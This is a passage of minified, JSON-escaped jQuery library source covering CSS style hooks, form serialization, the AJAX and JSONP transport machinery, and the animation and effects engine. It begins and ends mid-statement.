n=vt(e,\"opacity\");return\"\"===n?\"1\":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":\"cssFloat\"},style:function(e,t,n,r){if(e\u0026\u00263!==e.nodeType\u0026\u00268!==e.nodeType\u0026\u0026e.style){var i,o,s,a=x.camelCase(t),u=e.style;return t=x.cssProps[a]||(x.cssProps[a]=At(u,a)),s=x.cssHooks[t]||x.cssHooks[a],n===undefined?s\u0026\u0026\"get\"in s\u0026\u0026(i=s.get(e,!1,r))!==undefined?i:u[t]:(o=typeof n,\"string\"===o\u0026\u0026(i=kt.exec(n))\u0026\u0026(n=(i[1]+1)*i[2]+parseFloat(x.css(e,t)),o=\"number\"),null==n||\"number\"===o\u0026\u0026isNaN(n)||(\"number\"!==o||x.cssNumber[a]||(n+=\"px\"),x.support.clearCloneStyle||\"\"!==n||0!==t.indexOf(\"background\")||(u[t]=\"inherit\"),s\u0026\u0026\"set\"in s\u0026\u0026(n=s.set(e,n,r))===undefined||(u[t]=n)),undefined)}},css:function(e,t,n,r){var i,o,s,a=x.camelCase(t);return t=x.cssProps[a]||(x.cssProps[a]=At(e.style,a)),s=x.cssHooks[t]||x.cssHooks[a],s\u0026\u0026\"get\"in s\u0026\u0026(i=s.get(e,!0,n)),i===undefined\u0026\u0026(i=vt(e,t,r)),\"normal\"===i\u0026\u0026t in St\u0026\u0026(i=St[t]),\"\"===n||n?(o=parseFloat(i),n===!0||x.isNumeric(o)?o||0:i):i}}),vt=function(e,t,n){var r,i,o,s=n||qt(e),a=s?s.getPropertyValue(t)||s[t]:undefined,u=e.style;return s\u0026\u0026(\"\"!==a||x.contains(e.ownerDocument,e)||(a=x.style(e,t)),Ct.test(a)\u0026\u0026wt.test(t)\u0026\u0026(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=s.width,u.width=r,u.minWidth=i,u.maxWidth=o)),a};function Ot(e,t,n){var r=Tt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||\"px\"):t}function Ft(e,t,n,r,i){var o=n===(r?\"border\":\"content\")?4:\"width\"===t?1:0,s=0;for(;4\u003eo;o+=2)\"margin\"===n\u0026\u0026(s+=x.css(e,n+jt[o],!0,i)),r?(\"content\"===n\u0026\u0026(s-=x.css(e,\"padding\"+jt[o],!0,i)),\"margin\"!==n\u0026\u0026(s-=x.css(e,\"border\"+jt[o]+\"Width\",!0,i))):(s+=x.css(e,\"padding\"+jt[o],!0,i),\"padding\"!==n\u0026\u0026(s+=x.css(e,\"border\"+jt[o]+\"Width\",!0,i)));return s}function Pt(e,t,n){var r=!0,i=\"width\"===t?e.offsetWidth:e.offsetHeight,o=qt(e),s=x.support.boxSizing\u0026\u0026\"border-box\"===x.css(e,\"boxSizing\",!1,o);if(0\u003e=i||null==i){if(i=vt(e,t,o),(0\u003ei||null==i)\u0026\u0026(i=e.style[t]),Ct.test(i))return i;r=s\u0026\u0026(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+Ft(e,t,n||(s?\"border\":\"content\"),r,o)+\"px\"}function Rt(e){var t=o,n=Nt[e];return n||(n=Mt(e,t),\"none\"!==n\u0026\u0026n||(xt=(xt||x(\"\u003ciframe frameborder='0' width='0' height='0'/\u003e\").css(\"cssText\",\"display:block !important\")).appendTo(t.documentElement),t=(xt[0].contentWindow||xt[0].contentDocument).document,t.write(\"\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\"),t.close(),n=Mt(e,t),xt.detach()),Nt[e]=n),n}function Mt(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],\"display\");return n.remove(),r}x.each([\"height\",\"width\"],function(e,t){x.cssHooks[t]={get:function(e,n,r){return n?0===e.offsetWidth\u0026\u0026bt.test(x.css(e,\"display\"))?x.swap(e,Et,function(){return Pt(e,t,r)}):Pt(e,t,r):undefined},set:function(e,n,r){var i=r\u0026\u0026qt(e);return Ot(e,n,r?Ft(e,t,r,x.support.boxSizing\u0026\u0026\"border-box\"===x.css(e,\"boxSizing\",!1,i),i):0)}}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,t){return t?x.swap(e,{display:\"inline-block\"},vt,[e,\"marginRight\"]):undefined}}),!x.support.pixelPosition\u0026\u0026x.fn.position\u0026\u0026x.each([\"top\",\"left\"],function(e,t){x.cssHooks[t]={get:function(e,n){return n?(n=vt(e,t),Ct.test(n)?x(e).position()[t]+\"px\":n):undefined}}})}),x.expr\u0026\u0026x.expr.filters\u0026\u0026(x.expr.filters.hidden=function(e){return 0\u003e=e.offsetWidth\u0026\u00260\u003e=e.offsetHeight},x.expr.filters.visible=function(e){return!x.expr.filters.hidden(e)}),x.each({margin:\"\",padding:\"\",border:\"Width\"},function(e,t){x.cssHooks[e+t]={expand:function(n){var r=0,i={},o=\"string\"==typeof n?n.split(\" \"):[n];for(;4\u003er;r++)i[e+jt[r]+t]=o[r]||o[r-2]||o[0];return i}},wt.test(e)||(x.cssHooks[e+t].set=Ot)});var Wt=/%20/g,$t=/\\[\\]$/,Bt=/\\r?\\n/g,It=/^(?:submit|button|image|reset|file)$/i,zt=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,\"elements\");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name\u0026\u0026!x(this).is(\":disabled\")\u0026\u0026zt.test(this.nodeName)\u0026\u0026!It.test(e)\u0026\u0026(this.checked||!ot.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(Bt,\"\\r\\n\")}}):{name:t.name,value:n.replace(Bt,\"\\r\\n\")}}).get()}}),x.param=function(e,t){var n,r=[],i=function(e,t){t=x.isFunction(t)?t():null==t?\"\":t,r[r.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(t)};if(t===undefined\u0026\u0026(t=x.ajaxSettings\u0026\u0026x.ajaxSettings.traditional),x.isArray(e)||e.jquery\u0026\u0026!x.isPlainObject(e))x.each(e,function(){i(this.name,this.value)});else for(n in e)_t(n,e[n],t,i);return r.join(\"\u0026\").replace(Wt,\"+\")};function _t(e,t,n,r){var i;if(x.isArray(t))x.each(t,function(t,i){n||$t.test(e)?r(e,i):_t(e+\"[\"+(\"object\"==typeof i?t:\"\")+\"]\",i,n,r)});else if(n||\"object\"!==x.type(t))r(e,t);else for(i in t)_t(e+\"[\"+i+\"]\",t[i],n,r)}x.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(e,t){x.fn[t]=function(e,n){return arguments.length\u003e0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)\r\n},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}});var Xt,Ut,Yt=x.now(),Vt=/\\?/,Gt=/#.*$/,Jt=/([?\u0026])_=[^\u0026]*/,Qt=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,Kt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Zt=/^(?:GET|HEAD)$/,en=/^\\/\\//,tn=/^([\\w.+-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+)|)|)/,nn=x.fn.load,rn={},on={},sn=\"*/\".concat(\"*\");try{Ut=i.href}catch(an){Ut=o.createElement(\"a\"),Ut.href=\"\",Ut=Ut.href}Xt=tn.exec(Ut.toLowerCase())||[];function un(e){return function(t,n){\"string\"!=typeof t\u0026\u0026(n=t,t=\"*\");var r,i=0,o=t.toLowerCase().match(w)||[];if(x.isFunction(n))while(r=o[i++])\"+\"===r[0]?(r=r.slice(1)||\"*\",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function ln(e,t,n,r){var i={},o=e===on;function s(a){var u;return i[a]=!0,x.each(e[a]||[],function(e,a){var l=a(t,n,r);return\"string\"!=typeof l||o||i[l]?o?!(u=l):undefined:(t.dataTypes.unshift(l),s(l),!1)}),u}return s(t.dataTypes[0])||!i[\"*\"]\u0026\u0026s(\"*\")}function cn(e,t){var n,r,i=x.ajaxSettings.flatOptions||{};for(n in t)t[n]!==undefined\u0026\u0026((i[n]?e:r||(r={}))[n]=t[n]);return r\u0026\u0026x.extend(!0,e,r),e}x.fn.load=function(e,t,n){if(\"string\"!=typeof e\u0026\u0026nn)return nn.apply(this,arguments);var r,i,o,s=this,a=e.indexOf(\" \");return a\u003e=0\u0026\u0026(r=e.slice(a),e=e.slice(0,a)),x.isFunction(t)?(n=t,t=undefined):t\u0026\u0026\"object\"==typeof t\u0026\u0026(i=\"POST\"),s.length\u003e0\u0026\u0026x.ajax({url:e,type:i,dataType:\"html\",data:t}).done(function(e){o=arguments,s.html(r?x(\"\u003cdiv\u003e\").append(x.parseHTML(e)).find(r):e)}).complete(n\u0026\u0026function(e,t){s.each(n,o||[e.responseText,t,e])}),this},x.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ut,type:\"GET\",isLocal:Kt.test(Xt[1]),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":sn,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":x.parseJSON,\"text xml\":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?cn(cn(e,x.ajaxSettings),t):cn(x.ajaxSettings,e)},ajaxPrefilter:un(rn),ajaxTransport:un(on),ajax:function(e,t){\"object\"==typeof e\u0026\u0026(t=e,e=undefined),t=t||{};var n,r,i,o,s,a,u,l,c=x.ajaxSetup({},t),p=c.context||c,f=c.context\u0026\u0026(p.nodeType||p.jquery)?x(p):x.event,h=x.Deferred(),d=x.Callbacks(\"once memory\"),g=c.statusCode||{},m={},y={},v=0,b=\"canceled\",T={readyState:0,getResponseHeader:function(e){var t;if(2===v){if(!o){o={};while(t=Qt.exec(i))o[t[1].toLowerCase()]=t[2]}t=o[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===v?i:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return v||(e=y[n]=y[n]||e,m[e]=t),this},overrideMimeType:function(e){return v||(c.mimeType=e),this},statusCode:function(e){var t;if(e)if(2\u003ev)for(t in e)g[t]=[g[t],e[t]];else T.always(e[T.status]);return this},abort:function(e){var t=e||b;return n\u0026\u0026n.abort(t),k(0,t),this}};if(h.promise(T).complete=d.add,T.success=T.done,T.error=T.fail,c.url=((e||c.url||Ut)+\"\").replace(Gt,\"\").replace(en,Xt[1]+\"//\"),c.type=t.method||t.type||c.method||c.type,c.dataTypes=x.trim(c.dataType||\"*\").toLowerCase().match(w)||[\"\"],null==c.crossDomain\u0026\u0026(a=tn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===Xt[1]\u0026\u0026a[2]===Xt[2]\u0026\u0026(a[3]||(\"http:\"===a[1]?\"80\":\"443\"))===(Xt[3]||(\"http:\"===Xt[1]?\"80\":\"443\")))),c.data\u0026\u0026c.processData\u0026\u0026\"string\"!=typeof c.data\u0026\u0026(c.data=x.param(c.data,c.traditional)),ln(rn,c,t,T),2===v)return T;u=c.global,u\u0026\u00260===x.active++\u0026\u0026x.event.trigger(\"ajaxStart\"),c.type=c.type.toUpperCase(),c.hasContent=!Zt.test(c.type),r=c.url,c.hasContent||(c.data\u0026\u0026(r=c.url+=(Vt.test(r)?\"\u0026\":\"?\")+c.data,delete c.data),c.cache===!1\u0026\u0026(c.url=Jt.test(r)?r.replace(Jt,\"$1_=\"+Yt++):r+(Vt.test(r)?\"\u0026\":\"?\")+\"_=\"+Yt++)),c.ifModified\u0026\u0026(x.lastModified[r]\u0026\u0026T.setRequestHeader(\"If-Modified-Since\",x.lastModified[r]),x.etag[r]\u0026\u0026T.setRequestHeader(\"If-None-Match\",x.etag[r])),(c.data\u0026\u0026c.hasContent\u0026\u0026c.contentType!==!1||t.contentType)\u0026\u0026T.setRequestHeader(\"Content-Type\",c.contentType),T.setRequestHeader(\"Accept\",c.dataTypes[0]\u0026\u0026c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(\"*\"!==c.dataTypes[0]?\", \"+sn+\"; q=0.01\":\"\"):c.accepts[\"*\"]);for(l in c.headers)T.setRequestHeader(l,c.headers[l]);if(c.beforeSend\u0026\u0026(c.beforeSend.call(p,T,c)===!1||2===v))return T.abort();b=\"abort\";for(l in{success:1,error:1,complete:1})T[l](c[l]);if(n=ln(on,c,t,T)){T.readyState=1,u\u0026\u0026f.trigger(\"ajaxSend\",[T,c]),c.async\u0026\u0026c.timeout\u003e0\u0026\u0026(s=setTimeout(function(){T.abort(\"timeout\")},c.timeout));try{v=1,n.send(m,k)}catch(C){if(!(2\u003ev))throw C;k(-1,C)}}else k(-1,\"No Transport\");function k(e,t,o,a){var l,m,y,b,w,C=t;2!==v\u0026\u0026(v=2,s\u0026\u0026clearTimeout(s),n=undefined,i=a||\"\",T.readyState=e\u003e0?4:0,l=e\u003e=200\u0026\u0026300\u003ee||304===e,o\u0026\u0026(b=pn(c,T,o)),b=fn(c,b,T,l),l?(c.ifModified\u0026\u0026(w=T.getResponseHeader(\"Last-Modified\"),w\u0026\u0026(x.lastModified[r]=w),w=T.getResponseHeader(\"etag\"),w\u0026\u0026(x.etag[r]=w)),204===e||\"HEAD\"===c.type?C=\"nocontent\":304===e?C=\"notmodified\":(C=b.state,m=b.data,y=b.error,l=!y)):(y=C,(e||!C)\u0026\u0026(C=\"error\",0\u003ee\u0026\u0026(e=0))),T.status=e,T.statusText=(t||C)+\"\",l?h.resolveWith(p,[m,C,T]):h.rejectWith(p,[T,C,y]),T.statusCode(g),g=undefined,u\u0026\u0026f.trigger(l?\"ajaxSuccess\":\"ajaxError\",[T,c,l?m:y]),d.fireWith(p,[T,C]),u\u0026\u0026(f.trigger(\"ajaxComplete\",[T,c]),--x.active||x.event.trigger(\"ajaxStop\")))}return T},getJSON:function(e,t,n){return x.get(e,t,n,\"json\")},getScript:function(e,t){return x.get(e,undefined,t,\"script\")}}),x.each([\"get\",\"post\"],function(e,t){x[t]=function(e,n,r,i){return x.isFunction(n)\u0026\u0026(i=i||r,r=n,n=undefined),x.ajax({url:e,type:t,dataType:i,data:n,success:r})}});function pn(e,t,n){var r,i,o,s,a=e.contents,u=e.dataTypes;while(\"*\"===u[0])u.shift(),r===undefined\u0026\u0026(r=e.mimeType||t.getResponseHeader(\"Content-Type\"));if(r)for(i in a)if(a[i]\u0026\u0026a[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+\" \"+u[0]]){o=i;break}s||(s=i)}o=o||s}return o?(o!==u[0]\u0026\u0026u.unshift(o),n[o]):undefined}function fn(e,t,n,r){var i,o,s,a,u,l={},c=e.dataTypes.slice();if(c[1])for(s in e.converters)l[s.toLowerCase()]=e.converters[s];o=c.shift();while(o)if(e.responseFields[o]\u0026\u0026(n[e.responseFields[o]]=t),!u\u0026\u0026r\u0026\u0026e.dataFilter\u0026\u0026(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if(\"*\"===o)o=u;else if(\"*\"!==u\u0026\u0026u!==o){if(s=l[u+\" \"+o]||l[\"* \"+o],!s)for(i in l)if(a=i.split(\" \"),a[1]===o\u0026\u0026(s=l[u+\" \"+a[0]]||l[\"* \"+a[0]])){s===!0?s=l[i]:l[i]!==!0\u0026\u0026(o=a[0],c.unshift(a[1]));break}if(s!==!0)if(s\u0026\u0026e[\"throws\"])t=s(t);else try{t=s(t)}catch(p){return{state:\"parsererror\",error:s?p:\"No conversion from \"+u+\" to \"+o}}}return{state:\"success\",data:t}}x.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/(?:java|ecma)script/},converters:{\"text script\":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter(\"script\",function(e){e.cache===undefined\u0026\u0026(e.cache=!1),e.crossDomain\u0026\u0026(e.type=\"GET\")}),x.ajaxTransport(\"script\",function(e){if(e.crossDomain){var t,n;return{send:function(r,i){t=x(\"\u003cscript\u003e\").prop({async:!0,charset:e.scriptCharset,src:e.url}).on(\"load error\",n=function(e){t.remove(),n=null,e\u0026\u0026i(\"error\"===e.type?404:200,e.type)}),o.head.appendChild(t[0])},abort:function(){n\u0026\u0026n()}}}});var hn=[],dn=/(=)\\?(?=\u0026|$)|\\?\\?/;x.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=hn.pop()||x.expando+\"_\"+Yt++;return this[e]=!0,e}}),x.ajaxPrefilter(\"json jsonp\",function(t,n,r){var i,o,s,a=t.jsonp!==!1\u0026\u0026(dn.test(t.url)?\"url\":\"string\"==typeof t.data\u0026\u0026!(t.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")\u0026\u0026dn.test(t.data)\u0026\u0026\"data\");return a||\"jsonp\"===t.dataTypes[0]?(i=t.jsonpCallback=x.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,a?t[a]=t[a].replace(dn,\"$1\"+i):t.jsonp!==!1\u0026\u0026(t.url+=(Vt.test(t.url)?\"\u0026\":\"?\")+t.jsonp+\"=\"+i),t.converters[\"script json\"]=function(){return s||x.error(i+\" was not called\"),s[0]},t.dataTypes[0]=\"json\",o=e[i],e[i]=function(){s=arguments},r.always(function(){e[i]=o,t[i]\u0026\u0026(t.jsonpCallback=n.jsonpCallback,hn.push(i)),s\u0026\u0026x.isFunction(o)\u0026\u0026o(s[0]),s=o=undefined}),\"script\"):undefined}),x.ajaxSettings.xhr=function(){try{return new XMLHttpRequest}catch(e){}};var gn=x.ajaxSettings.xhr(),mn={0:200,1223:204},yn=0,vn={};e.ActiveXObject\u0026\u0026x(e).on(\"unload\",function(){for(var e in vn)vn[e]();vn=undefined}),x.support.cors=!!gn\u0026\u0026\"withCredentials\"in gn,x.support.ajax=gn=!!gn,x.ajaxTransport(function(e){var t;return x.support.cors||gn\u0026\u0026!e.crossDomain?{send:function(n,r){var i,o,s=e.xhr();if(s.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(i in e.xhrFields)s[i]=e.xhrFields[i];e.mimeType\u0026\u0026s.overrideMimeType\u0026\u0026s.overrideMimeType(e.mimeType),e.crossDomain||n[\"X-Requested-With\"]||(n[\"X-Requested-With\"]=\"XMLHttpRequest\");for(i in n)s.setRequestHeader(i,n[i]);t=function(e){return function(){t\u0026\u0026(delete vn[o],t=s.onload=s.onerror=null,\"abort\"===e?s.abort():\"error\"===e?r(s.status||404,s.statusText):r(mn[s.status]||s.status,s.statusText,\"string\"==typeof s.responseText?{text:s.responseText}:undefined,s.getAllResponseHeaders()))}},s.onload=t(),s.onerror=t(\"error\"),t=vn[o=yn++]=t(\"abort\"),s.send(e.hasContent\u0026\u0026e.data||null)},abort:function(){t\u0026\u0026t()}}:undefined});var xn,bn,wn=/^(?:toggle|show|hide)$/,Tn=RegExp(\"^(?:([+-])=|)(\"+b+\")([a-z%]*)$\",\"i\"),Cn=/queueHooks$/,kn=[An],Nn={\"*\":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Tn.exec(t),o=i\u0026\u0026i[3]||(x.cssNumber[e]?\"\":\"px\"),s=(x.cssNumber[e]||\"px\"!==o\u0026\u0026+r)\u0026\u0026Tn.exec(x.css(n.elem,e)),a=1,u=20;if(s\u0026\u0026s[3]!==o){o=o||s[3],i=i||[],s=+r||1;do a=a||\".5\",s/=a,x.style(n.elem,e,s+o);while(a!==(a=n.cur()/r)\u0026\u00261!==a\u0026\u0026--u)}return i\u0026\u0026(s=n.start=+s||+r||0,n.unit=o,n.end=i[1]?s+(i[1]+1)*i[2]:+i[2]),n}]};function En(){return setTimeout(function(){xn=undefined}),xn=x.now()}function Sn(e,t,n){var r,i=(Nn[t]||[]).concat(Nn[\"*\"]),o=0,s=i.length;for(;s\u003eo;o++)if(r=i[o].call(n,t,e))return r}function jn(e,t,n){var r,i,o=0,s=kn.length,a=x.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;var t=xn||En(),n=Math.max(0,l.startTime+l.duration-t),r=n/l.duration||0,o=1-r,s=0,u=l.tweens.length;for(;u\u003es;s++)l.tweens[s].run(o);return a.notifyWith(e,[l,o,n]),1\u003eo\u0026\u0026u?n:(a.resolveWith(e,[l]),!1)},l=a.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:xn||En(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;r\u003en;n++)l.tweens[n].run(1);return t?a.resolveWith(e,[l,t]):a.rejectWith(e,[l,t]),this}}),c=l.props;for(Dn(c,l.opts.specialEasing);s\u003eo;o++)if(r=kn[o].call(l,e,c,l.opts))return r;return x.map(c,Sn,l),x.isFunction(l.opts.start)\u0026\u0026l.opts.start.call(e,l),x.fx.timer(x.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always)}function Dn(e,t){var n,r,i,o,s;for(n in e)if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)\u0026\u0026(i=o[1],o=e[n]=o[0]),n!==r\u0026\u0026(e[r]=o,delete e[n]),s=x.cssHooks[r],s\u0026\u0026\"expand\"in s){o=s.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}x.Animation=x.extend(jn,{tweener:function(e,t){x.isFunction(e)?(t=e,e=[\"*\"]):e=e.split(\" \");var n,r=0,i=e.length;for(;i\u003er;r++)n=e[r],Nn[n]=Nn[n]||[],Nn[n].unshift(t)},prefilter:function(e,t){t?kn.unshift(e):kn.push(e)}});function An(e,t,n){var r,i,o,s,a,u,l=this,c={},p=e.style,f=e.nodeType\u0026\u0026Lt(e),h=q.get(e,\"fxshow\");n.queue||(a=x._queueHooks(e,\"fx\"),null==a.unqueued\u0026\u0026(a.unqueued=0,u=a.empty.fire,a.empty.fire=function(){a.unqueued||u()}),a.unqueued++,l.always(function(){l.always(function(){a.unqueued--,x.queue(e,\"fx\").length||a.empty.fire()})})),1===e.nodeType\u0026\u0026(\"height\"in t||\"width\"in t)\u0026\u0026(n.overflow=[p.overflow,p.overflowX,p.overflowY],\"inline\"===x.css(e,\"display\")\u0026\u0026\"none\"===x.css(e,\"float\")\u0026\u0026(p.display=\"inline-block\")),n.overflow\u0026\u0026(p.overflow=\"hidden\",l.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],wn.exec(i)){if(delete t[r],o=o||\"toggle\"===i,i===(f?\"hide\":\"show\")){if(\"show\"!==i||!h||h[r]===undefined)continue;f=!0}c[r]=h\u0026\u0026h[r]||x.style(e,r)}if(!x.isEmptyObject(c)){h?\"hidden\"in h\u0026\u0026(f=h.hidden):h=q.access(e,\"fxshow\",{}),o\u0026\u0026(h.hidden=!f),f?x(e).show():l.done(function(){x(e).hide()}),l.done(function(){var t;q.remove(e,\"fxshow\");for(t in c)x.style(e,t,c[t])});for(r in c)s=Sn(f?h[r]:0,r,l),r in h||(h[r]=s.start,f\u0026\u0026(s.end=s.start,s.start=\"width\"===r||\"height\"===r?1:0))}}function Ln(e,t,n,r,i){return new Ln.prototype.init(e,t,n,r,i)}x.Tween=Ln,Ln.prototype={constructor:Ln,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||\"swing\",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?\"\":\"px\")},cur:function(){var e=Ln.propHooks[this.prop];return e\u0026\u0026e.get?e.get(this):Ln.propHooks._default.get(this)},run:function(e){var t,n=Ln.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),n\u0026\u0026n.set?n.set(this):Ln.propHooks._default.set(this),this}},Ln.prototype.init.prototype=Ln.prototype,Ln.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style\u0026\u0026null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,\"\"),t\u0026\u0026\"auto\"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style\u0026\u0026(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Ln.propHooks.scrollTop=Ln.propHooks.scrollLeft={set:function(e){e.elem.nodeType\u0026\u0026e.elem.parentNode\u0026\u0026(e.elem[e.prop]=e.now)}},x.each([\"toggle\",\"show\",\"hide\"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||\"boolean\"==typeof e?n.apply(this,arguments):this.animate(qn(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Lt).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),s=function(){var t=jn(this,x.extend({},e),o);(i||q.get(this,\"finish\"))\u0026\u0026t.stop(!0)};return s.finish=s,i||o.queue===!1?this.each(s):this.queue(o.queue,s)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return\"string\"!=typeof e\u0026\u0026(n=t,t=e,e=undefined),t\u0026\u0026e!==!1\u0026\u0026this.queue(e||\"fx\",[]),this.each(function(){var t=!0,i=null!=e\u0026\u0026e+\"queueHooks\",o=x.timers,s=q.get(this);if(i)s[i]\u0026\u0026s[i].stop\u0026\u0026r(s[i]);else for(i in s)s[i]\u0026\u0026s[i].stop\u0026\u0026Cn.test(i)\u0026\u0026r(s[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e\u0026\u0026o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)\u0026\u0026x.dequeue(this,e)})},finish:function(e){return e!==!1\u0026\u0026(e=e||\"fx\"),this.each(function(){var t,n=q.get(this),r=n[e+\"queue\"],i=n[e+\"queueHooks\"],o=x.timers,s=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i\u0026\u0026i.stop\u0026\u0026i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this\u0026\u0026o[t].queue===e\u0026\u0026(o[t].anim.stop(!0),o.splice(t,1));for(t=0;s\u003et;t++)r[t]\u0026\u0026r[t].finish\u0026\u0026r[t].finish.call(this);delete n.finish})}});function qn(e,t){var n,r={height:e},i=0;for(t=t?1:0;4\u003ei;i+=2-t)n=jt[i],r[\"margin\"+n]=r[\"padding\"+n]=e;return t\u0026\u0026(r.opacity=r.width=e),r}x.each({slideDown:qn(\"show\"),slideUp:qn(\"hide\"),slideToggle:qn(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e\u0026\u0026\"object\"==typeof e?x.extend({},e):{complete:n||!n\u0026\u0026t||x.isFunction(e)\u0026\u0026e,duration:e,easing:n\u0026\u0026t||t\u0026\u0026!x.isFunction(t)\u0026\u0026t};return r.duration=x.fx.off?0:\"number\"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)\u0026\u0026(r.queue=\"fx\"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)\u0026\u0026r.old.call(this),r.queue\u0026\u0026x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=Ln.prototype.init,x.fx.tick=function(){var e,t=x.timers,n=0;for(xn=x.now();t.length\u003en;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||x.fx.stop(),xn=undefined},x.fx.timer=function(e){e()\u0026\u0026x.timers.push(e)\u0026\u0026x.fx.start()},x.fx.interval=13,x.fx.start=function(){bn||(bn=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(bn),bn=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr\u0026\u0026x.expr.filters\u0026\u0026(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length)return e===undefined?this:this.each(function(t){x.offset.setOffset(this,e,t)});var 